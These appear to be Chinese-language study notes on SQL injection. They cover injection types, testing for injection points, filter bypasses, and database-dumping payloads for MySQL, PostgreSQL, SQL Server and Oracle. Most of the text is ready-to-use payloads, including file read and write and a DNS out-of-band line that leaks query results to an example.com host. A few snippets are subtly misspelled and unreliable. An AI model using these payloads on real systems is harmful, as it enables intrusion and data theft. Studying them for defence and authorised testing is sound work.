116194288518932289
前言 SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。(维基百科 )
SQL注入分类 根据数据类型分类
根据注入手法的分类
UNION query SQL injection 联合查询(针对查操作)
Error-based SQL injection 报错注入(针对查操作)
Boolean-based blind SQL injection 布尔盲注(针对查操作)
Time-based blind SQL injection 延时注入(针对查操作)
Stacked queries SQL injection 堆叠查询(针对增删改操作)
根据注入原理的分类(GPC)
漏洞原理
服务器允许接受恶意SQL代码作为参数,且恶意代码可以被当作SQL执行
常见业务
漏洞利用 注入点位置
代码将哪部分作为SQL的参数,哪部分就是注入点位置
*作为注入点位置标识
如果代码中调用了Cookie作为SQL变量,可以进行Cookie注入
如果代码中调用了User-Agent作为SQL变量,可以进行User-Agent注入
如果代码中调用了Referer作为SQL变量,可以进行Referer注入
参数注入
request 1 GET http://127.0.0.1:80/api/item?id=99*
request 1 2 3 4 POST http://127.0.0.1:80/api/item Content-Type : application/x-www-form-urlencodedid=99*
请求头注入 XFF注入
部分后端程序通过请求头中的X-Forward-For参数来判定失败的登录次数,如果这个次数存储在了数据库中,则可以使用X-Forward-For作为注入点
request 1 2 GET http://127.0.0.1:80/api/item?id=99 X-Forwarded-For : 127.0.0.1*
注入点测试
通过传递不同的参数,判断页面加载,测试出可以使用哪种手法注入
只要可以使用任意一种注入手法,就可以断定存在SQL注入漏洞
注入点存在测试
多次传递不同的数值判断页面是否有变化,如果id=任何一个数,页面能被动态渲染不同的数据,说明参数变量传递成功,注入点存在
测试结论
如果页面有变化,可以使用联合查询注入
如果页面没有变化,继续判断布尔测试结果
布尔测试
通过构造结果为假的布尔值,如果数据正常 返回,说明不可以 使用布尔注入
延时测试
通过延迟函数判断响应是否延迟且数据正常 返回,则说明可以 使用延迟注入
<time>:延迟时间,单位秒
通过基准测试函数,反复计算MD5值,如果响应延迟且数据正常 返回,说明可以 使用延迟注入
1 ?id=1 AND BENCHMARK(10000000, MD5('test'))
关键词被替换为空
通过计算关键词长度,构造长度不为0 的布尔表达式,如果数据正常 返回,说明关键词没有 被替换为空
1 ?id=1 and LENGTH('union')!=0
数据类型测试
根据报错信息,判断1在数据库中存储时的数据类型
当出现形如'''的报错信息时,判断该数字是以数值型 数据存储在数据库中
当出现形如'1''的报错信息时,判断该数字是以字符型 数据存储在数据库中
打断测试
操作:如果成对的括号被中断,同时使用注释打断后面的语句,就可以实现sql语句的控制
原理:php中定义sql语句时,会使用括号进行包裹从而定义sql语句为字符串
闭合符号,用于闭合前缀代码
'、"、)、]、}、\、/、,、.
注释代码,用于打断后续代码
#(需要进行url编码):只有MySQL会识别#作为注释,#作为注释时需要url编码否则会被当做锚点--+、-- -:所有SQL都会识别--作为注释,--作为注释时必须后接一个空格和注释内容,注释代码才会生效,否则会被当做减号
绕过 如果代码中出现了转义字符
如果数据库使用了GBK/GB2312等宽字节编码时,可以使用\'代替'绕过'检测,\的16进制编码为0xdf
PHP中如果开启了magic_quotes_gpc则会触发\转译 PHP中如果使用了addslashes()函数则会触发\转译
如果代码中出现了Base64编码
如果代码中将关键词替换为空
1 ?id=1 UNIOUNIONN SELECT 1
如果代码中将空格替换为空
空白字符
URL编码值
空字符
%00
空格
%20
水平制表符
%09
换行符
%0a
垂直制表符
%0b
换页符
%0c
回车符
%0d
MySQL渗透测试 联合查询注入
原理:MySQL的union 语句,实际上是用来去重取交集的,特点是可以指定一个查询语句与前面的查询语句进行组合,得到结果,但要求是前后两组sql语句得到的列数相同
可以通过union后面指定的查询语句,实现覆盖前面的查询语句,得到自己想要的字段的内容,展示在页面上
必要条件:两张虚拟的表具有相同的列数,虚拟表对应的列的数据类型相同
数值型可以自动转换成字符串类型
不满足必要条件时,可以使用子查询语句
基本语法
<select>:查询语句
1 <select_1> UNION <select_2>
注入点个数测试
原理:MySQL的order by 语句,实际上是用来排序数据的,如果order by语句后有数字,表示根据第几个字段排序,当没有那个指定数量的字段时,会报错
例如:order by 2,表示根据第2个字段进行数据的排序,如果没有第2个字段,则报错
所以可以通过order by语句,得到字段数量临界值
例如:从order by 1开始测试,当执行到order by 3时,页面报错,说明这个数据表只有2个字段,2就是临界值
1 2 ?id=1 ORDER BY 1 ?id=1 ORDER BY 2
也可以直接使用union语句测试注入点个数
当select 1,2,...不再报错时,表示注入点个数测试完成
将id=1改为其他不存在的id,这样才能展示union后面的select语句的内容
也可以使用布尔值为false的语句(例如1=2)强制让union语句前面的select语句报错,从而展示union语句后面的select语句的内容
1 ?id=1 AND 1=2 UNION SELECT 1,2
回显点位置测试
在找到注入点个数后,可以开始回显点位置测试
通过查询数字1、数字2(根据注入点个数指定数字数量),在页面查看回显点的位置,如果有回显,则可以替换其他SQL语句用于查看查询结果
原理:当union前面的查询语句值为假,则后面的查询语句会被执行
1,2:直接展示在页面上的内容(根据注入点个数指定数字数量)
盲注 基于延时的盲注
盲猜敏感信息,利用if语句判断,将select语句作为if语句的结果,通过判断页面是否延时加载,确定猜测是否正确
猜测数据库名长度
1 ?id=1 AND IF(LENGTH(DATABASE())=1, SLEEP(5), 1)
1 ?id=1 AND IF(LENGTH(DATABASE())=1, 1, SLEEP(5))
基于布尔的盲注
通过构建布尔值的判断,盲猜敏感信息
如果猜对则页面显示正常,如果猜错则页面显示不正常
猜测数据库名长度 1 ?id=1 AND LENGTH(DATABASE())=1
猜测数据库名每个字符的ascii码 1 2 3 4 5 6 7 # 第一个字符 ?id=1 and ASCII(SUBSTR(DATABASE(), 1, 1))>100 # 第二个字符 ?id=1 and ASCII(SUBSTR(DATABASE(), 2, 1))>100 # ...
基于报错的盲注
在报错的回显中,插入敏感信息
如果php中存在die(mysql_error())相关代码,则说明存在基于报错的盲注
重复键冲突报错
利用MySQL编号为#8652的bug,复现重复键冲突报错
这个漏洞存在一定几率
<SELECT>:查询语句
1 ?id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((<select>), FLOOR(RAND() * 2)) AS x FROM information_schema.TABLES GROUP BY x) a)
1 ?id=1 UNION SELECT (CONCAT(LEFT(RAND(), 3), '^', (<select>), '^') AS a, COUNT(*),3 FROM information_schema.TABLES GROUP BY a)
不同的SQL语句构造方式
<select>:查询语句<select_field>:指定想要查询的字段
1 select CONCAT(LEFT (RAND(), 3 ), '^' , (< select > ), '^' ) AS x, COUNT (* ) from information_schema.TABLES GROUP BY x;
1 select CONCAT('^' , (< select_field> ), '^' , FLOOR (RAND()* 2 )) AS x, COUNT (* ) FROM (SELECT 1 UNION SELECT NULL UNION SELECT ! 1 ) AS a GROUP BY x;
1 SELECT MIN (@a :1 ) FROM information_schema GROUP BY CONCAT('^' , < select_field> , '^' , @a := (@a + 1 )% 2 );
1 SELECT MIN (@a := 1 ) FROM (SELECT 1 UNION SELECT NULL UNION SELECT ! 1 ) AS a GROUP BY CONCAT('^' , < select_field> , '^' , @a := (@a + 1 )% 2 );
XPath报错
extractvalue()函数用于获取指定XML文件中符合指定XPath的结果
<select>:查询语句0x7e:占位符~的十六进制,用来分隔需要显示的查询结果0x5e:占位符^的十六进制,用来分隔需要显示的查询结果
1 ?id=1 and EXTRACTVALUE(1, CONCAT('^', (<select>), '^'))
updatexml()函数用于修改指定XML文件中符合指定XPath的结果
1 ?id=1 and UPDATEXML(1, CONCAT('^', (<select>), '^'), 1)
登录框注入 万能密码
信息收集 获取数据库版本
1 ?id=-1 UNION SELECT VERSION()
获取当前用户名
查看用户是否是root,如果是root可以进行文件读写
1 ?id=-1 UNION SELECT USER()
获取操作系统
通过操作系统判断是否区分大小写
通过操作系统判断文件路径的斜线
1 ?id=-1 UNION SELECT @@version_compile_os
拖库 获取数据库名
1 ?id=-1 UNION SELECT DATABASE()
1 2 ?id=-1 UNION SELECT (SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA)
1 SELECT GROUP_COUNCAT(1 , '~' );
使用ASCII字符的16进制数
如果代码中有数据库名、数据表名、字段名过滤,可以使用这种方法绕过
1 SELECT GROUP_COUNCAT(1 , 0x7e );
1 SELECT GROUP_COUNCAT(1 , CONCAT('0x' , HEX('~' )));
使用字符的URL编码,这种方式用于在URL传参时使用
1 SELECT GROUP_COUNCAT(1 , '%7e' );
获取数据表名
1 2 ?id=-1 UNION SELECT (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='<database_name>')
获取字段名
1 2 ?id=-1 UNION SELECT (SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE table_schema='<database_name>' AND table_name='<table_name>')
获取数据
1 2 ?id=-1 UNION SELECT (SELECT GROUP_CONCAT(<field_name>) FROM <table_name>)
文件读写 判断当前用户是否有文件读写权限 1 ?id=-1 UNION SELECT File_priv FROM mysql.user WHERE user='root' AND host='localhost';
文件读取
<file>:想要读取的文件的路径,Windows上使用\\作为路径分隔符,Linux上使用/作为路径分隔符
1 ?id=-1 UNION SELECT LOAD_FILE('<file>')
文件写入
<string>:通过查询语句获取的字符串<file>:想要写入的文件路径
1 ?id=-1; SELECT '<string>' INTO OUTFILE '<file>'
堆叠注入
多句SQL压缩为一句进行注入
支持堆叠注入的数据库必须具有结束分割符,如:MySQL、MSSQL、PostgreSQL
1 ?id=-1; SHOW DATABASES()
二次注入
先通过新增接口和修改接口将想要注入的SQL语句写入数据库,再通过查询接口执行SQL语句
DNS带外(DNS OOB, DNS Out-of-Band)
利用MySQL的文件加载函数,向自己的DNS服务器发送请求,从而泄露数据
创建一个监听53端口的服务,且允许子域名传递任意值都能被正确访问(*.example.com)
利用SQL注入访问自己部署得服务
1 ?id=-1 AND (SELECT LOAD_FILE(CONCAT("//", (<select>), ".example.com")))
查看请求者请求的域名,其中子域名携带的内容就是泄露的数据
PostgreSQL渗透测试 拖库 获取数据库名
1 2 ?id=-1 UNION SELECT (SELECT current_database())
1 2 ?id=-1 UNION SELECT (SELECT STRING_AGG(column_name, ',') FROM pg_database)
获取字段名
1 2 ?id=-1 UNION SELECT (SELECT STRING_AGG(column_name, ',') FROM information_schema.columns WHERE table_schema = 'public' AND table_name='<table_name>')
1 2 ?id=-1 UNION SELECT (SELECT STRING_AGG(column_name, ',') FROM information_schema.columns WHERE table_name='<table_name>')
获取数据
1 2 ?id=-1 UNION SELECT (SELECT STRING_AGG(<field_name>, ',') FROM <table_name>)
SQLServer渗透测试 拖库 获取数据库名
1 2 ?id=-1 UNION SELECT (SELECT DB_NAME())
1 2 ?id=-1 UNION SELECT (SELECT STRING_AGG(name, ',') FROM master..sysdatabases)
获取数据表名
1 2 ?id=-1 UNION SELECT (SELECT STRING_AGG(name, ',') FROM <database_name>..sysobjects WHERE xtype='U')
获取字段名
1 2 ?id=-1 UNION SELECT (SELECT STRING_AGG(name, ',') FROM syscolumns WHERE id=OBJECT_ID('<table_name>'))
1 2 ?id=-1 UNION SELECT (SELECT STRING_AGG(name, ',') FROM syscolumns WHERE id=OBJECT_ID('<database_name>.dbo.<table_name>'))
获取数据
1 2 ?id=-1 UNION SELECT (SELECT STRING_AGG(<field_name>, ',') FROM <table_name>)
Oracle渗透测试 拖库 获取数据库名
1 2 ?id=-1 UNION SELECT (SELECT instance_name FROM v$instance)
1 2 ?id=-1 UNION SELECT (SELECT LISTAGG(username, ',') WITHIN GROUP (ORDER BY username) FROM dba_users)
获取数据表名
1 2 ?id=-1 UNION SELECT (SELECT LISTAGG(table_name, ',') WITHIN GROUP (ORDER BY table_name) FROM user_tables)
查询字段名
1 2 ?id=-1 UNION SELECT (SELECT LISTAGG(column_name, ',') WITHIN GROUP (ORDER BY column_name) FROM user_tab_columns WHERE table_name='<table_name>')
获取数据
1 2 ?id=-1 UNION SELECT (SELECT LISTAGG(<filed_name>, ',') WITHIN GROUP (ORDER BY <filed_name>) FROM <table_name>)
完成 参考文献 哔哩哔哩——腾讯掌控安全学院 哔哩哔哩——千锋教育网络安全学院 哔哩哔哩——掌控安全学院 哔哩哔哩——逆风微笑的代码狗 哔哩哔哩——xiaodisec